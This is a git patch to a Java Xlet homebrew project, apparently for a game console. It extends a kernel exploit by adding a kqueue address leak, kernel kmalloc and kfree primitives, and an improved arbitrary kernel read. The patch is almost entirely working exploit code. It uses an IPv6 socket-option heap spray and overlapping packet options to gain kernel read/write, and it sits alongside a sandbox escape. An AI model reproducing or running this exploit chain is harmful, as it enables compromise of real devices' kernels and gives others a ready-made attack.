From 159253464afde59c3007a706210bec65b91f38f3 Mon Sep 17 00:00:00 2001 From: Sergey Lisov Date: Fri, 30 Sep 2022 21:24:36 +0300 Subject: [PATCH] Add kqueue leak --- root/org/homebrew/KernelRW.java | 123 ++++++++++++++++++++++++++------ root/org/homebrew/MyXlet.java | 14 +++- 2 files changed, 116 insertions(+), 21 deletions(-) diff --git a/root/org/homebrew/KernelRW.java b/root/org/homebrew/KernelRW.java index 75f4fd6..8295568 100644 --- a/root/org/homebrew/KernelRW.java +++ b/root/org/homebrew/KernelRW.java @@ -4,13 +4,15 @@ public class KernelRW extends Thread { private static long getpid = F(0x2001, "getpid"); private static long socket = F(0x2001, "socket"); - private static long kqueue = F(0x2001, "kqueue"); - private static long kevent = F(0x2001, "kevent"); private static long close = F(0x2001, "close"); private static long getsockopt = F(0x2001, "getsockopt"); private static long setsockopt = F(0x2001, "setsockopt"); private static long usleep = F(0x2001, "usleep"); + private static long kqueue = F(0x2001, "kqueue"); private static long sceKernelSendNotificationRequest = F(0x2001, "sceKernelSendNotificationRequest"); + public long pktoptsLeak; + public int kqueue_fd; + public long kqueue_addr; private static long F(int dll, String name) { @@ -69,19 +71,16 @@ private static void die() throws Exception private static int TCLASS_SPRAY = 0x41; private static int TCLASS_TAINT = 0x42; private static int SPRAY_SIZE = 350; - private static int KQ_SIZE = 1; - private static int SPRAY2_SIZE = 32; + private static int SPRAY2_SIZE = 64; private static int SPRAY3_SIZE = 128; private static int SMALL_SPRAY = 64; private KernelRW master; - private int kevent_sock; private int master_sock; private int overlap_sock; private int victim_sock; private int[] spray_sock; - private int[] kq; private String log; private boolean triggered; private boolean done1; @@ -218,7 +217,7 @@ private long leak_kmalloc(int size) throws Exception return NativeUtils.getLong(mem2048+112); } - private String notify(String s) throws Exception + public String notify(String s) throws Exception { long q = calloc(0xc30); NativeUtils.putInt(q+0x10, -1); @@ -237,20 +236,32 @@ private void setStage(String s) throws Exception public long kread8(long addr) throws Exception { + long offset = 0; + if((addr & 4095) >= 4076) + { + offset = (addr & 4095) - 4076; + if(offset >= 12) + offset = 12; + addr -= offset; + } NativeUtils.putLong(mem24, addr); NativeUtils.putLong(mem24+8, 0); NativeUtils.putInt(mem24+16, 0); if(C(setsockopt, master_sock, 41, 46, mem24, 20) != 0) die(); NativeUtils.putLong(mem24, 0xdeaddeaddeadl); + NativeUtils.putLong(mem24+8, 0xdeaddeaddeadl); + NativeUtils.putInt(mem24+16, 0xdead); NativeUtils.putInt(mem24+20, 20); if(C(getsockopt, victim_sock, 41, 46, mem24, mem24+20) != 0) die(); - return NativeUtils.getLong(mem24); + return NativeUtils.getLong(mem24+offset); } public boolean kwrite20(long addr, long a, long b, int c) throws Exception { + if(a == 0 && b == 0 && c == 0) + return false; NativeUtils.putLong(mem24, addr); NativeUtils.putLong(mem24+8, 0); NativeUtils.putInt(mem24+16, 0); @@ -262,6 +273,82 @@ public boolean kwrite20(long addr, long a, long b, int c) throws Exception return C(setsockopt, victim_sock, 41, 46, mem24, 20) == 0; } + public long kmalloc(int size) throws Exception + { + if(size > 2048) + throw new Exception("too big"); + if(size < 32) + size = 32; + kwrite20(pktoptsLeak+112, 0, 1, 0); + kwrite20(pktoptsLeak+120, 0, 1, 0); + int sz = fake_rthdr(size, 0, 0); + set_rthdr(victim_sock, sz); + long addr = kread8(pktoptsLeak+112); + kwrite20(pktoptsLeak+112, 0, 1, 0); + kwrite20(pktoptsLeak+120, 0, 1, 0); + return addr; + } + + public void kfree(long ptr) throws Exception + { + kwrite20(pktoptsLeak+112, ptr, 0, 0); + set_rthdr(victim_sock, 0); + } + + private void leak_kqueue() throws Exception + { + java.util.ArrayList fds = new java.util.ArrayList(); + java.util.ArrayList allmems = new java.util.ArrayList(); + java.util.HashSet mems_set = new java.util.HashSet(); + long ans = 0; + int count = 0; + for(;;) + { + ans = 0; + count = 0; + mems_set.clear(); + int fd = -1; + for(int i = 0; i < 10000; i++) + { + if(i == 5000) + fd = (int)C(kqueue); + long addr = kmalloc(0x200); + allmems.add(new Long(addr)); + mems_set.add(new Long(addr)); + } + java.util.Iterator it = mems_set.iterator(); + while(it.hasNext()) + { + long a1 = ((Long)it.next()).longValue(); + long a2 = a1 ^ 0x200; + if(mems_set.contains(new Long(a2))) + continue; + long q = kread8(a2); + if(!(q >= -0x1000000000000l && q < -1 && (q & 0xfff) == 0xad3)) + continue; + if((kread8(q) & 0xffffffffffffffl) == 0x65756575716bl) // "kqueue\x00" + { + ans = a2; + count++; + } + } + notify("fd = "+fd+", ans = "+ans+", count = "+count); + if(count == 1) + { + kqueue_addr = ans; + kqueue_fd = fd; + break; + } + fds.add(new Integer(fd)); + } + java.util.Iterator it = fds.iterator(); + while(it.hasNext()) + C(close, ((Integer)it.next()).intValue()); + it = allmems.iterator(); + while(it.hasNext()) + kfree(((Long)it.next()).longValue()); + } + public String main() throws Exception { notify("starting exploit"); @@ -269,16 +356,11 @@ public String main() throws Exception mem2048 = calloc(2048); for(int i = 64; i < 10000; i++) C(close, i); - kevent_sock = new_socket(); master_sock = new_socket(); spray_sock = new int[SPRAY_SIZE]; - kq = new int[KQ_SIZE]; log += "sockets ="; for(int i = 0; i < SPRAY_SIZE; i++) log += " " + (spray_sock[i] = new_socket()); - log += "\nkqueues ="; - for(int i = 0; i < KQ_SIZE; i++) - log += " " + (kq[i] = (int)C(kqueue)); log += "\n"; mem24 = calloc(24); for(int i = 1; i <= 3*SMALL_SPRAY; i++) @@ -316,10 +398,8 @@ public String main() throws Exception overlap_idx = tcl & 65535; overlap_sock = spray_sock[overlap_idx]; log += "overlap_idx = " + overlap_idx + "\n"; - long leak = leak_kmalloc(0x100); - log += "leak = " + leak + "\n"; - /*for(int i = 0; i < SPRAY3_SIZE; i++) - set_rthdr(spray_sock[i], 0);*/ + long leak = pktoptsLeak = leak_kmalloc(0x100); + log += "pktoptsLeak = " + leak + "\n"; setStage("rthdr spray 2"); set_rthdr(master_sock, 0); for(int i = 2*SMALL_SPRAY+1; i <= 3*SMALL_SPRAY; i++) @@ -329,9 +409,6 @@ public String main() throws Exception set_rthdr(spray_sock[overlap_idx], 0); for(int i = 1; i <= SMALL_SPRAY; i++) free_pktopts(spray_sock[SPRAY_SIZE-i]); - /*for(int i = 0; i < SPRAY3_SIZE; i++) - if(i != overlap_idx) - set_rthdr(spray_sock[i], 0);*/ sz = fake_rthdr(256, leak+16, TCLASS_MASTER_2); for(int i = SPRAY3_SIZE; i < SPRAY_SIZE; i++) { @@ -386,6 +463,12 @@ public String main() throws Exception return log; } victim_sock = spray_sock[victim_idx]; + /*setStage("closing sockets"); + spray_sock[victim_idx] = new_socket(); + for(int i = SPRAY2_SIZE; i < SPRAY_SIZE; i++) + C(close, spray_sock[i]);*/ + setStage("leaking kqueue"); + leak_kqueue(); notify("enjoy your krw"); ok = true; return log; diff --git a/root/org/homebrew/MyXlet.java b/root/org/homebrew/MyXlet.java index 7033100..7792e0b 100644 --- a/root/org/homebrew/MyXlet.java +++ b/root/org/homebrew/MyXlet.java @@ -26,6 +26,7 @@ public class MyXlet implements Xlet, ControllerListener { private Container gui; private XletContext context; private final ArrayList messages = new ArrayList(); + public static KernelRW krw; public void escapeSandbox() throws Exception { @@ -99,7 +100,7 @@ public void run() }).start(); messages.add("Signal server running on port 1234."); messages.add("See \"protocol.txt\" for protocol documentation.");*/ - KernelRW krw = new KernelRW(); + krw = new KernelRW(); String log = krw.main(); String line = ""; for(int i = 0; i < log.length(); i++) @@ -113,6 +114,17 @@ public void run() else line += x; } + /*if(krw.isOk()) + { + messages.add("JS REPL running on port 4321"); + (new Thread() + { + public void run() + { + runJSServer(4321); + } + }).start(); + }*/ } catch(Throwable e) {